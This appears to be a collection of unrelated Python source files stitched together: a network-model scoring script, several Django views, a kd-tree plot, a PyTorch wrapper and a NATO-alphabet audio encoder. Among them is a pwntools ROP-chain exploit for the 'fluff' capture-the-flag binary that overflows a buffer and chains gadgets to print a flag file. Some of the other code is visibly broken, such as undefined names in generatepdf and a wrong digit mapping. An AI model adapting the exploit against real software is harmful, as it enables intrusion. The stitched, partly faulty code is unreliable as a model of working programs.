import scipy.io as spio
import numpy as np
import time
import os.path
from SBM_DC_nested import compute_likelihood

# settings
networks = [line.rstrip('\n') for line in open('networks.txt')]
nested = [False]
DC = [True]
iters = 10

# paths
inputpath = '../../data/sparsified_matrices/'
suffix_list = ['_linkrem10', '_linkrem10_linkrem20noconn']
inputvar = 'matrices'
outputpath = './output/'
temppath = './TEMP/'
timepath = './time/'

for suffix in suffix_list:
    for nes in nested:
        for deg in DC:

            if deg==False:
                DC_str = ''
            else:
                DC_str = '_DC'

            if nes==False:
                nested_str = ''
            else:
                nested_str = '_N'

            for net in networks:
                x = (spio.loadmat(inputpath + net + suffix + '.mat'))[inputvar]
                N = x[1][0].shape[0]
                if N <= 100:
                    sweeps = 100
                elif N <= 1000:
                    sweeps = 50
                else:
                    sweeps = 10

                for i in range(iters):
                    outfile = outputpath + net + '_' + str(i+1) + DC_str + nested_str + suffix + '_scores.txt'
                    tempfile = temppath + net + '_' + str(i+1) + DC_str + nested_str + suffix + '.TEMP'
                    timefile = timepath + net + '_' + str(i+1) + DC_str + nested_str + suffix + '_time.txt'
                    if (not (os.path.isfile(outfile))) and (not (os.path.isfile(tempfile))):
                        os.mknod(tempfile)

                        print(net + ' ' + str(i+1) + ' (DC = ' + str(deg) + ', Nested = ' + str(nes) + ') sweeps=' + str(sweeps) + ' ' + suffix, flush=True)
                        start = time.time()
                        probs = compute_likelihood(x[i][0], deg, nes, sweeps)
                        np.savetxt(outfile, probs, fmt=['%d','%d','%.18e'])
                        end = time.time()
                        print(end-start, flush=True)

                        file = open(timefile, 'w')
                        file.write(str(end-start))
                        file.close()

                        os.remove(tempfile)


from pwn import *

elf = context.binary = ELF("./fluff")
r = elf.process()
gdb.attach(r, '''
    b*pwnme+152\n
    b*questionableGadgets+18\n
    c
''')

###############
#  ROP chain  #
###############
print_file = elf.sym["print_file"]
pop_rdx_rcx_add_rcx_bextr = 0x000000000040062a
xlat_ds_rbx_ret = 0x0000000000400628
stos_rdi_al_ret = 0x0000000000400639
_f = 0x4003c1 + 3
_l = 0x400238 + 1
_a = 0x4003cd + 9
_g = 0x4003cd + 2
_t = 0x4003cd + 8
_x = 0x400238 + 14
_dot = 0x4003c1 + 8
pop_rdi_ret = 0x00000000004006a3

payload = b"a" * 40
payload += flat(
    # store f
    pop_rdi_ret,
    0x601070,
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _f - 0x3ef2 - 0xb, #thanh ghi rax ban dau chua du lieu 0xb nen phai tru di
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store l
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _l - 0x3ef2 - 0x66,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store a
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _a - 0x3ef2 - 0x6c,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store g
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _g - 0x3ef2 - 0x61,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store dot
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _dot - 0x3ef2 - 0x67,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store t
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _t - 0x3ef2 - 0x2e,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store x
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _x - 0x3ef2 - 0x74,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    #store t
    pop_rdx_rcx_add_rcx_bextr,
    0x2000,
    _t - 0x3ef2 - 0x78,
    xlat_ds_rbx_ret,
    stos_rdi_al_ret,

    pop_rdi_ret,
    0x601070,
    print_file
)

r.sendline(payload)
r.interactive()


from django.shortcuts import render,redirect,reverse
from . import forms,models
from django.db.models import Sum
from django.contrib.auth.models import Group
from django.http import HttpResponseRedirect
from django.core.mail import send_mail
from django.contrib.auth.decorators import login_required,user_passes_test
from datetime import datetime,timedelta,date
from xhtml2pdf import pisa
import io
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch
from reportlab.lib.pagesizes import letter

context ={}

# Create your views here.
def home_view(request):
    if request.user.is_authenticated:
        return HttpResponseRedirect('fashion/admin_dashboard.html')
    return render(request,'fashion/admin_dashboard.html')

#---------------------------------------------------------------------------------
#------------------------ ADMIN RELATED VIEWS START ------------------------------
#---------------------------------------------------------------------------------

def admin_dashboard_view(request):
    #for both table in admin dashboard
    ordermngrs=models.Ordermngr.objects.all().order_by('-id')
    suppliers=models.Supplier.objects.all().order_by('-id')
    #for three cards
    ordermngrcount=models.Ordermngr.objects.all().filter(status=True).count()
    pendingordermngrcount=models.Ordermngr.objects.all().filter(status=False).count()

    suppliercount=models.Supplier.objects.all().filter(status=True).count()
    pendingsuppliercount=models.Supplier.objects.all().filter(status=False).count()

    ordercount=models.Order.objects.all().filter(status=True).count()
    pendingordercount=models.Order.objects.all().filter(status=False).count()
    mydict={
    'ordermngrs':ordermngrs,
    'suppliers':suppliers,
    'ordermngrcount':ordermngrcount,
    'pendingordermngrcount':pendingordermngrcount,
    'suppliercount':suppliercount,
    'pendingsuppliercount':pendingsuppliercount,
    'ordercount':ordercount,
    'pendingordercount':pendingordercount,
    }
    return render(request,'fashion/admin_dashboard.html',context=mydict)

# this view for sidebar click on admin page

def admin_ordermngr_view(request):
    return render(request,'fashion/admin_ordermngr.html')

def admin_view_ordermngr_view(request):
    ordermngrs=models.Ordermngr.objects.all().filter(status=True)
    return render(request,'fashion/admin_view_ordermngr.html',{'ordermngrs':ordermngrs})

def delete_ordermngr_from_fashion_view(request,pk):
    ordermngr=models.Ordermngr.objects.get(id=pk)
    user=models.User.objects.get(id=ordermngr.user_id)
    user.delete()
    ordermngr.delete()
    return redirect('admin-view-ordermngr')

def update_ordermngr_view(request,pk):
    ordermngr=models.Ordermngr.objects.get(id=pk)
    user=models.User.objects.get(id=ordermngr.user_id)

    userForm=forms.OrdermngrUserForm(instance=user)
    ordermngrForm=forms.OrdermngrForm(request.FILES,instance=ordermngr)
    mydict={'userForm':userForm,'ordermngrForm':ordermngrForm}
    if request.method=='POST':
        userForm=forms.OrdermngrUserForm(request.POST,instance=user)
        ordermngrForm=forms.OrdermngrForm(request.POST,request.FILES,instance=ordermngr)
        if userForm.is_valid() and ordermngrForm.is_valid():
            user=userForm.save()
            user.set_password(user.password)
            user.save()
            ordermngr=ordermngrForm.save(commit=False)
            ordermngr.status=True
            ordermngr.save()
            return redirect('admin-view-ordermngr')
    return render(request,'fashion/admin_update_ordermngr.html',context=mydict)

def admin_add_ordermngr_view(request):
    userForm=forms.OrdermngrUserForm()
    ordermngrForm=forms.OrdermngrForm()
    mydict={'userForm':userForm,'ordermngrForm':ordermngrForm}
    if request.method=='POST':
        userForm=forms.OrdermngrUserForm(request.POST)
        ordermngrForm=forms.OrdermngrForm(request.POST, request.FILES)
        if userForm.is_valid() and ordermngrForm.is_valid():
            user=userForm.save()
            user.set_password(user.password)
            user.save()

            ordermngr=ordermngrForm.save(commit=False)
            ordermngr.user=user
            ordermngr.status=True
            ordermngr.save()

            my_ordermngr_group = Group.objects.get_or_create(name='ORDERMNGR')
            my_ordermngr_group[0].user_set.add(user)

        #return HttpResponseRedirect('admin-view-ordermngr')
        return render(request,'fashion/admin_add_ordermngr.html',context=mydict)
    return render(request,'fashion/admin_add_ordermngr.html',context=mydict)

def admin_approve_ordermngr_view(request):
    #those whose approval are needed
    ordermngrs=models.Ordermngr.objects.all().filter(status=False)
    return render(request,'fashion/admin_approve_ordermngr.html',{'ordermngrs':ordermngrs})

def approve_ordermngr_view(request,pk):
    ordermngr=models.Ordermngr.objects.get(id=pk)
    ordermngr.status=True
    ordermngr.save()
    return redirect(reverse('admin-approve-ordermngr'))

def reject_ordermngr_view(request,pk):
    ordermngr=models.Ordermngr.objects.get(id=pk)
    user=models.User.objects.get(id=ordermngr.user_id)
    user.delete()
    ordermngr.delete()
    return redirect('admin-approve-ordermngr')

def admin_view_ordermngr_specialisation_view(request):
    ordermngrs=models.Ordermngr.objects.all().filter(status=True)
    return render(request,'fashion/admin_view_ordermngr_specialisation.html',{'ordermngrs':ordermngrs})

def admin_supplier_view(request):
    return render(request,'fashion/admin_supplier.html')

def admin_view_supplier_view(request):
    suppliers=models.Supplier.objects.all().filter(status=True)
    return render(request,'fashion/admin_view_supplier.html',{'suppliers':suppliers})

def delete_supplier_from_fashion_view(request,pk):
    supplier=models.Supplier.objects.get(id=pk)
    user=models.User.objects.get(id=supplier.user_id)
    user.delete()
    supplier.delete()
    return redirect('admin-view-supplier')

def update_supplier_view(request,pk):
    supplier=models.Supplier.objects.get(id=pk)
    user=models.User.objects.get(id=supplier.user_id)

    userForm=forms.SupplierUserForm(instance=user)
    supplierForm=forms.SupplierForm(request.FILES,instance=supplier)
    mydict={'userForm':userForm,'supplierForm':supplierForm}
    if request.method=='POST':
        userForm=forms.SupplierUserForm(request.POST,instance=user)
        supplierForm=forms.SupplierForm(request.POST,request.FILES,instance=supplier)
        if userForm.is_valid() and supplierForm.is_valid():
            user=userForm.save()
            user.set_password(user.password)
            user.save()
            supplier=supplierForm.save(commit=False)
            supplier.status=True
            supplier.assignedOrdermngrId=request.POST.get('assignedOrdermngrId')
            supplier.save()
            return redirect('admin-view-supplier')
    return render(request,'fashion/admin_update_supplier.html',context=mydict)

def admin_add_supplier_view(request):
    userForm=forms.SupplierUserForm()
    supplierForm=forms.SupplierForm()
    mydict={'userForm':userForm,'supplierForm':supplierForm}
    if request.method=='POST':
        userForm=forms.SupplierUserForm(request.POST)
        supplierForm=forms.SupplierForm(request.POST,request.FILES)
        if userForm.is_valid() and supplierForm.is_valid():
            user=userForm.save()
            user.set_password(user.password)
            user.save()

            supplier=supplierForm.save(commit=False)
            supplier.user=user
            supplier.status=True
            supplier.assignedOrdermngrId=request.POST.get('assignedOrdermngrId')
            supplier.save()

            my_supplier_group = Group.objects.get_or_create(name='SUPPLIER')
            my_supplier_group[0].user_set.add(user)

        return render(request,'fashion/admin_add_supplier.html',context=mydict)
    return render(request,'fashion/admin_add_supplier.html',context=mydict)

def admin_approve_supplier_view(request):
    #those whose approval are needed
    suppliers=models.Supplier.objects.all().filter(status=False)
    return render(request,'fashion/admin_approve_supplier.html',{'suppliers':suppliers})

def approve_supplier_view(request,pk):
    supplier=models.Supplier.objects.get(id=pk)
    supplier.status=True
    supplier.save()
    return redirect(reverse('admin-approve-supplier'))

def reject_supplier_view(request,pk):
    supplier=models.Supplier.objects.get(id=pk)
    user=models.User.objects.get(id=supplier.user_id)
    user.delete()
    supplier.delete()
    return redirect('admin-approve-supplier')

#--------------------- FOR Receiving SUPPLIER BY ADMIN START-------------------------

def admin_cancel_supplier_view(request):
    suppliers=models.Supplier.objects.all().filter(status=True)
    return render(request,'fashion/admin_cancel_supplier.html',{'suppliers':suppliers})

def cancel_supplier_view(request,pk):
    supplier=models.Supplier.objects.get(id=pk)
    qty=models.Order.objects.get(supplierId=supplier.get_id)
    q=qty.quantity
    assignedOrdermngr=models.User.objects.all().filter(id=supplier.assignedOrdermngrId)
    supplierDict={
        'supplierId':pk,
        'name':supplier.get_name,
        'mobile':supplier.mobile,
        'address':supplier.address,
        'item_code':supplier.item_code,
        'confirmedDate':supplier.confirmedDate,
        'todayDate':date.today(),
        'assignedOrdermngrName':assignedOrdermngr[0].first_name,
        'quantity':q
    }
    if request.method == 'POST':
        feeDict ={
            'units':int(request.POST['units'])*int(q),
            'Othercharges' : request.POST['Othercharges'],
            'Transportfee' : request.POST['Transportfee'],
            'total':(int(request.POST['units'])*int(q))+int(request.POST['Transportfee'])+int(request.POST['Othercharges'])
        }
        supplierDict.update(feeDict)
        #for updating to database supplierCancelDetails (pDD)
        pDD=models.SupplierCancelDetails()
        pDD.supplierId=pk
        pDD.supplierName=supplier.get_name
        pDD.assignedOrdermngrName=assignedOrdermngr[0].first_name
        pDD.address=supplier.address
        pDD.mobile=supplier.mobile
        pDD.item_code=supplier.item_code
        pDD.confirmedDate=supplier.confirmedDate
        pDD.cancelledDate=date.today()
        pDD.quantity=qty.quantity
        pDD.units=int(request.POST['units'])*int(q)
        pDD.Othercharges=int(request.POST['Othercharges'])
        pDD.Transportfee=int(request.POST['Transportfee'])
        pDD.total=(int(request.POST['units'])*int(q))+int(request.POST['Othercharges'])+int(request.POST['Transportfee'])
        pDD.save()
        return render(request,'fashion/supplier_final_bill.html',context=supplierDict)
    return render(request,'fashion/supplier_generate_bill.html',context=supplierDict)

#--------------for Dispatch supplier bill (pdf) download and printing
import io
from xhtml2pdf import pisa
from django.template.loader import get_template
from django.template import Context
from django.http import HttpResponse

def render_to_pdf(template_src, context_dict):
    template = get_template(template_src)
    html  = template.render(context_dict)
    result = io.BytesIO()
    pdf = pisa.pisaDocument(io.BytesIO(html.encode("ISO-8859-1")), result)
    if not pdf.err:
        return HttpResponse(result.getvalue(), content_type='application/pdf')
    return

def download_pdf_view(request,pk):
    cancelDetails=models.SupplierCancelDetails.objects.all().filter(supplierId=pk).order_by('-id')[:1]
    dict={
        'supplierName':cancelDetails[0].supplierName,
        'assignedOrdermngrName':cancelDetails[0].assignedOrdermngrName,
        'address':cancelDetails[0].address,
        'mobile':cancelDetails[0].mobile,
        'item_code':cancelDetails[0].item_code,
        'confirmedDate':cancelDetails[0].confirmedDate,
        'cancelledDate':cancelDetails[0].cancelledDate,
        'Othercharges':cancelDetails[0].Othercharges,
        'units':cancelDetails[0].units,
        'Transportfee':cancelDetails[0].Transportfee,
        'total':cancelDetails[0].total,
        'quantity':cancelDetails[0].quantity,
    }
    return render_to_pdf('fashion/download_bill.html',dict)

#################################################

def generatepdf(request):

    buf = io.BytesIO()
    c = canvas.Canvas(buf,pagesize=letter,bottomup=0)
    textob = c.beginText()
    textob.setTextOrigin(inch,inch)
    textob.setFont("Helvetica",14)

    cancelDetails=models.SupplierCancelDetails.objects.all()
    result = CancelDetails.objects.all()

    lines = []

    for od in result:
       lines.append("SupplierId : " + od.supplierId)
       lines.append("item_code : " + od.item_code)
       lines.append("Quantity : " + od.quantity)
       lines.append("Total : " + od.total)
       lines.append("Date : " + od.cancelddate)
       lines.append("====================")

    for line in lines:
        textob.textLine(line)

    c.drawText(textob)
    c.showPage()
    c.save()
    buf.seek(0)

    return FileResponse(buf,as_attachment=True,filename='orders.pdf')

#-----------------ORDER START--------------------------------------------------------------------

def admin_order_view(request):
    return render(request,'fashion/admin_order.html')

def admin_view_order_view(request):
    orders=models.Order.objects.all().filter(status=True)
    return render(request,'fashion/admin_view_order.html',{'orders':orders})

def admin_add_order_view(request):
    orderForm=forms.OrderForm()
    mydict={'orderForm':orderForm,}
    if request.method=='POST':
        orderForm=forms.OrderForm(request.POST)
        if orderForm.is_valid():
            order=orderForm.save(commit=False)

            order.ordermngrId=request.POST.get('ordermngrId')
            order.supplierId=request.POST.get('supplierId')
            order.ordermngrName=models.User.objects.get(id=request.POST.get('ordermngrId')).first_name
            order.supplierName=models.User.objects.get(id=request.POST.get('supplierId')).first_name

            order.status=True
            order.save()

            quantity = request.POST.get('quantity')
            item_code = request.POST.get('item_code')
            colour = request.POST.get('colour')
            category = request.POST.get('category')

            subject = "Order Confirmation"
            message = "Hello You have received an order from Jayananda Fashion \n Order Quantity : " + quantity + "\n Item Code : " + item_code +  "\n Item color :  " + colour + "\n Item Category  " + category

            send_mail(
                    subject,message,'jayanandanafachion@gmail.com',['slsachinlakshan@gmail.com']
            )

        return render(request,'fashion/admin_add_order.html',context=mydict)
    return render(request,'fashion/admin_add_order.html',context=mydict)

def admin_approve_order_view(request):
    #those whose approval are needed
    orders=models.Order.objects.all().filter(status=False)
    return render(request,'fashion/admin_approve_order.html',{'orders':orders})

def approve_order_view(request,pk):
    order=models.Order.objects.get(id=pk)
    order.status=True
    order.save()
    return redirect(reverse('admin-approve-order'))

def reject_order_view(request,pk):
    order=models.Order.objects.get(id=pk)
    order.delete()
    return redirect('admin-approve-order')

def admin_view_cancel_supplier_view(request):
    canceldsuppliers=models.SupplierCancelDetails.objects.all()
    return render(request,'fashion/admin_view_cancel_supplier.html',{'canceldsuppliers':canceldsuppliers})

#---------------------------------------------------------------------------------
#------------------------ ADMIN RELATED VIEWS END ------------------------------
#---------------------------------------------------------------------------------

# #------------------------ SUPPLIER RELATED VIEWS END ------------------------------
# #---------------------------------------------------------------------------------

#---------------------------------------------------------------------------------
#------------------------ ABOUT US AND CONTACT US VIEWS START ------------------------------
#---------------------------------------------------------------------------------
def aboutus_view(request):
    return render(request,'fashion/aboutus.html')

def contactus_view(request):
    sub = forms.ContactusForm()
    if request.method == 'POST':
        sub = forms.ContactusForm(request.POST)
        if sub.is_valid():
            email = sub.cleaned_data['Email']
            name=sub.cleaned_data['Name']
            message = sub.cleaned_data['Message']
            send_mail(str(name)+' || '+str(email),message, EMAIL_HOST_USER, EMAIL_RECEIVING_USER, fail_silently = False)
            return render(request, 'fashion/contactussuccess.html')
    return render(request, 'fashion/contactus.html', {'form':sub})

#---------------------------------------------------------------------------------
#------------------------ ADMIN RELATED VIEWS END ------------------------------
#---------------------------------------------------------------------------------

def printFile(request):
    order = models.SupplierCancelDetails.objects.all()

    template_path = 'fashion/printFile.html'  ##get template
    context['order'] = order

    response = HttpResponse(content_type = 'application/pdf')
    response['content_Disposition'] = 'filename = "order_report.pdf"'

    template = get_template(template_path)
    html = template.render(context)

    pisa_status = pisa.CreatePDF(html,dest=response)

    if pisa_status.err:
        return HttpResponse('We had some errors')
    return response


# REFERENCE https://www.geeksforgeeks.org/search-and-insertion-in-k-dimensional-tree/
import random
import matplotlib.pyplot as plt

class Node:
    def __init__(self, point, left=None, right=None):
        self.point = point
        self.left = left
        self.right = right

def build_kd_tree(points, depth=0):
    if len(points) == 0:
        return None

    k = len(points[0])
    axis = depth % k
    points.sort(key=lambda x: x[axis])

    mid = len(points) // 2
    node = Node(points[mid], axis)

    node.left = build_kd_tree(points[:mid], depth + 1)
    node.right = build_kd_tree(points[mid + 1:], depth + 1)

    return node

points = [(random.uniform(-10, 10), random.uniform(-10, 10)) for _ in range(200)]
kd_tree = build_kd_tree(points)

ranges = [
    ([-1, 1], [-2, 2]),
    ([-2, 1], [3, 5]),
    ([-7, 0], [-6, 4]),
    ([-2, 2], [-3, 3]),
    ([-7, 5], [-3, 1])
]

colors = ['red', 'blue', 'green', 'orange', 'purple']

for i, point in enumerate(points):
    x, y = point

    if -1 < x < 1 and -2 < y < 2:
        plt.scatter(x, y, c=colors[0], label=f'Range 1' if i == 0 else '')
    elif -2 < x < 1 and 3 < y < 5:
        plt.scatter(x, y, c=colors[1], label=f'Range 2' if i == 0 else '')
    elif -7 < x < 0 and -6 < y < 4:
        plt.scatter(x, y, c=colors[2], label=f'Range 3' if i == 0 else '')
    elif -2 < x < 2 and -3 < y < 3:
        plt.scatter(x, y, c=colors[3], label=f'Range 4' if i == 0 else '')
    elif -7 < x < 5 and -3 < y < 1:
        plt.scatter(x, y, c=colors[4], label=f'Range 5' if i == 0 else '')
    else:
        plt.scatter(x, y, c='black', label='Outside Ranges' if i == 0 else '')

plt.xlim(-10, 10)
plt.ylim(-10, 10)
plt.xlabel('X-axis')
plt.ylabel('Y-axis')
plt.show()


import torch.nn as nn
import copy
import torch
from utils import *

def build_model(configfile):
    pass

class BaseModel(nn.Module):

    def __init__(self, device=None):
        if device is None:
            self.device = torch.device('cuda:0') if torch.cuda.is_available() else torch.device('cpu')
        else:
            self.device = device
        torch.set_default_dtype(torch.double)
        super(BaseModel, self).__init__()

    def load_recent(self, path):
        model = mostrecent(path)
        self.load_state_dict(torch.load(model))

    def copy(self):
        new_model = copy.deepcopy(self)
        return new_model

    # cast to a proper tensor
    def preprocess_state(self, state):
        if not isinstance(state, torch.Tensor):
            try:
                out = torch.tensor(state).to(self.device)
            except:
                raise TypeError('could not cast %s to tensor' % type(state))
        else:
            try:
                out = state.to(self.device)
            except:
                raise TypeError('coud not cast to %s' % self.device)
        return out

    # use an optional backwards hook to clamp gradients
    # from https://stackoverflow.com/questions/54716377/how-to-do-gradient-clipping-in-pytorch
    # call once and good to go
    def clampgrad(self, clip=1):
        for p in self.parameters():
            p.register_hook(lambda grad: torch.clamp(grad, -clip, clip))

    def __call__(self, state):
        state = self.preprocess_state(state)
        output = super(BaseModel, self).__call__(state)
        return output

class WrappedModel(BaseModel):

    def __init__(self, model):
        super(WrappedModel, self).__init__()
        self.model = model

    def __call__(self, state):
        state = self.preprocess_state(state)
        output = self.model(state)
        return output


import sys
import json
import argparse
from os import path
from pydub import AudioSegment
from pydub.playback import play, _play_with_ffplay
import speech_recognition as sr

VERSION = '0.0.2'

nato = [
    'alfa', 'bravo', 'charlie', 'delta',     #  0-3
    'echo', 'foxtrot', 'golf', 'hotel',      #  4-7
    'india', 'juliett', 'kilo', 'lima',      #  8-11
    'mike', 'november', 'oscar', 'papa',     # 12-15
    'quebec', 'romeo', 'sierra', 'tango',    # 16-19
    'uniform', 'victor', 'whiskey', 'xray',  # 20-23
    'yankee', 'zulu', 'one', 'two',          # 24-27
    'three', 'four', 'five', 'six',          # 28-31
    'seven', 'eight', 'nine', 'zero',        # 32-35
    ]

conv = {
 'even': {
    '0': nato[0],
    '1': nato[2],
    '2': nato[4],
    '3': nato[6],
    '4': nato[8],
    '5': nato[10],
    '6': nato[12],
    '7': nato[14],
    '8': nato[16],
    '9': nato[18],
    'a': nato[20],
    'b': nato[22],
    'c': nato[24],
    'd': nato[26],
    'e': nato[28],
    'f': nato[30],
 },
 'odd': {
    '0': nato[1],
    '1': nato[3],
    '2': nato[5],
    '3': nato[7],
    '4': nato[9],
    '5': nato[11],
    '6': nato[13],
    '7': nato[15],
    '8': nato[17],
    '9': nato[19],
    'a': nato[21],
    'b': nato[23],
    'c': nato[25],
    'd': nato[27],
    'e': nato[29],
    'f': nato[31],
 },
 'special': {
    'start': nato[35],
    'silence': 'silence',
 },
}

def main():
    parser = argparse.ArgumentParser(description='NATO alphabet encoder/decoder.')

    subparsers = parser.add_subparsers(dest='command')
    subparsers.required = True

    parser_encode = subparsers.add_parser('encode')
    parser_encode.add_argument('-f', '--filename', help='Audio output filename (.wav)', required=False)
    parser_encode.add_argument('-s', '--speaker', help='Audio output on speakers', action='store_true')
    parser_encode.add_argument('-A', '--ascii-message', help='Message', required=False)
    parser_encode.add_argument('-H', '--hex-message', help='Message', required=False)

    parser_decode = subparsers.add_parser('decode')
    parser_decode.add_argument('-f', '--filename', help='Audio input filename (.wav) - Hic sunt leones!', required=False)
    parser_decode.add_argument('-m', '--mic', help='Audio input from microphone - Hic sunt leones!', required=False)
    parser_decode.add_argument('-M', '--message', help='Message', required=False)

    parser_map = subparsers.add_parser('map')

    parser_version = subparsers.add_parser('version')

    args = parser.parse_args()

    if args.command == 'encode':

        if args.ascii_message is not None or args.hex_message is not None:

            if args.ascii_message is not None:
                fingerprint = args.ascii_message.encode('ascii').hex().lower().replace(' ', '')

            elif args.hex_message is not None:
                fingerprint = args.hex_message.lower().replace(' ', '')

            result = ''
            result_sound =  AudioSegment.from_wav(f"sounds/{conv['special']['silence']}.wav")

            result = f"{result}{conv['special']['start']} "
            result = f"{result}{conv['special']['start']} "
            result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['special']['start']}.wav")
            result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['special']['silence']}.wav")
            result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['special']['start']}.wav")
            result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['special']['silence']}.wav")

            for i in range(0, len(fingerprint)):
                if i % 2 == 0: # Even
                    result = f"{result}{conv['even'][fingerprint[i]]} "
                    result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['even'][fingerprint[i]]}.wav")
                    result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['special']['silence']}.wav")
                else: # Odd
                    result = result + conv['odd'][fingerprint[i]] + ' '
                    result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['odd'][fingerprint[i]]}.wav")
                    result_sound = result_sound + AudioSegment.from_wav(f"sounds/{conv['special']['silence']}.wav")

            print(result)

            if args.filename is not None:
                result_sound.export(args.filename, format='wav')
            if args.speaker:
                _play_with_ffplay(result_sound)

        else:
            print('Missing ascii or hex message parameter')

    elif args.command == 'decode':

        if args.filename is not None or args.mic is not None or args.message is not None:

            if args.mic is not None:
                r = sr.Recognizer()
                with sr.Microphone() as source:
                    print('Say something!')
                    audio = r.listen(source)
                try:
                    # words = r.recognize_sphinx(audio).lower()
                    words = r.recognize_google(audio).lower() # better performace, less privacy
                except sr.UnknownValueError:
                    print('Could not understand audio')
                except sr.RequestError as e:
                    print('Error; {0}'.format(e))

            if args.filename is not None:
                r = sr.Recognizer()
                with sr.AudioFile(path.join(path.dirname(path.realpath(__file__)), args.filename)) as source:
                    audio = r.record(source)
                try:
                    # words = r.recognize_sphinx(audio).lower()
                    words = r.recognize_google(audio).lower() # better performace, less privacy
                except sr.UnknownValueError:
                    print('Could not understand audio')
                except sr.RequestError as e:
                    print('Error; {0}'.format(e))

            elif args.message is not None:
                words = args.message.lower()

            # correct well known mistakes
            words = words.replace('0', 'zero ')
            words = words.replace('1', 'one ')
            words = words.replace('2', 'two ')
            words = words.replace('3', 'three ')
            words = words.replace('4', 'four ')
            words = words.replace('5', 'five ')
            words = words.replace('6', 'six ')
            words = words.replace('8', 'seven ')
            words = words.replace('8', 'eight ')
            words = words.replace('9', 'nine ')
            words = words.replace('alpha', 'alfa')
            words = words.replace('to extract', 'foxtrot')
            words = words.replace('for', 'four')
            words = words.replace('to', 'two')
            words = words.replace('unifourm', 'uniform')
            words = words.replace('juliet', 'juliett')
            words = words.replace('victwor', 'victor')
            words = words.replace('x-ray', 'xray')
            words = words.replace('is', '')
            words = words.replace('dell ten', 'delta')
            words = words.replace('stocks tracts', 'foxtrot')
            words = words.replace('stwocks tracts', 'foxtrot')
            words = words.replace('indiana', 'india')
            words = words.replace('might be', 'mike')
            words = words.replace('x. ray', 'xray')
            words = words.replace('soon', 'zulu')
            words = words.replace('whkey', 'whiskey')
            words = words.replace('   ', ' ')
            words = words.replace('  ', ' ')
            words = ' '.join(words.split())
            print(words)

            words = words.split(' ')
            even = True
            result = ''
            for i in words:
                if not i == conv['special']['start']:
                    if even:
                        even = False
                        character = list(conv['even'].keys())[list(conv['even'].values()).index(i)]
                        result = f'{result}{character}'
                    else:
                        even = True
                        character = list(conv['odd'].keys())[list(conv['odd'].values()).index(i)]
                        result = f'{result}{character}'

            print(result)

        else:
            print('Missing filename or message parameter')

    elif args.command == 'map':
        print(json.dumps(conv, sort_keys=True, indent=4))

    elif args.command == 'version':
        print('NATO encoder - Version {}'.format(VERSION))
        print('GNU GENERAL PUBLIC LICENSE, Version 3')
        print('')
        print('')
        print('GREETINGS PROFESSOR FALKEN')
        print('')
        print('HELLO')
        print('')
        print('A STRANGE GAME.')
        print('THE ONLY WINNING MOVE IS')
        print('NOT TO PLAY.')

if __name__ == '__main__':
    main()


import json
from django.contrib.sites.shortcuts import get_current_site
from django.contrib.auth.models import User
from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseForbidden, JsonResponse, HttpResponse

from .models import Room, Message
from .forms import ChatRoomForm
from personal_chat.forms import PersonalChatForm
from personal_chat.models import Thread,PersonalMessage

@login_required
def index(request):
    user = request.user
    rooms = Room.objects.all()
    active_rooms = []
    for room in rooms:
        members = room.users.all()
        if user in members:
            active_rooms.append(room)

    all_members = User.objects.filter(is_active=True)
    threads = Thread.objects.all()
    active_threads = []
    for thread in threads:
        members = thread.users.all()
        if user in members:
            active_threads.append(thread)

    context = {
        "active_rooms": active_rooms,
        "active_threads":active_threads,
        "all_members": all_members,
        "gform": ChatRoomForm(),
        "pform":PersonalChatForm()
    }
    return render(request, 'chat/index.html', context)

@login_required
def create_room(request):
    if request.method == "POST":
        form = ChatRoomForm(request.POST)
        if form.is_valid():
            data = form.save(commit=False)
            data.creator = request.user
            data.save()
            users = form.cleaned_data['users']
            for user in users:
                data.users.add(user)
                data.users.add(request.user)
            return redirect('/')
        else:
            return JsonResponse({"error": form.errors})
    else:
        form = ChatRoomForm()
        context = {'form':form}
        return render(request, 'chat/room_form.html', context)

@login_required
def room(request, room_code):
    user = request.user
    try:
        room = Room.objects.get(code=room_code, users=request.user)
    except:
        return HttpResponseForbidden()
    username = request.user.username
    members = room.users.all()

    chats = []
    chats = Message.objects.filter(room=room)

    all_members = User.objects.filter(is_active=True)

    all_rooms = Room.objects.all()
    active_rooms = []
    for i in all_rooms:
        members_list = i.users.all()
        if request.user in members_list:
            active_rooms.append(i)

    threads = Thread.objects.all()
    active_threads = []
    for thread in threads:
        members = thread.users.all()
        if user in members:
            active_threads.append(thread)

    current_site = get_current_site(request).domain
    if request.is_secure():
        protocol = "https://"
    else:
        protocol = "http://"

    return render(request, 'chat/chat.html', {
        'room_code': room.code,
        "username": username,
        "room": room,
        "members": members,
        "all_members": all_members,
        "active_rooms": active_rooms,
        "active_threads":active_threads,
        "chats":chats,
        "gform": ChatRoomForm(),
        "pform": PersonalChatForm()
    })


#coding=utf-8
from django.conf.urls import url

from . import views

urlpatterns = [

     url(r'^$',views.getindex),  #主页面
     url(r'^developer/$', views.getdeveloper),  # 主页面
     url(r'^table/$',views.gettable),  #设备管理页面
     url(r'^register/$',views.register),#注册账号
     url(r'^add/$',views.addlist),#添加设备
     url(r'^update/$',views.updatelist),#更新设备信息
     url(r'^del/$',views.dellist),#删除设备
     url(r'^detail/$',views.detail),#设备详细
     url(r'^open/$',views.open),#开设备
     url(r'^close/$',views.close),#关设备
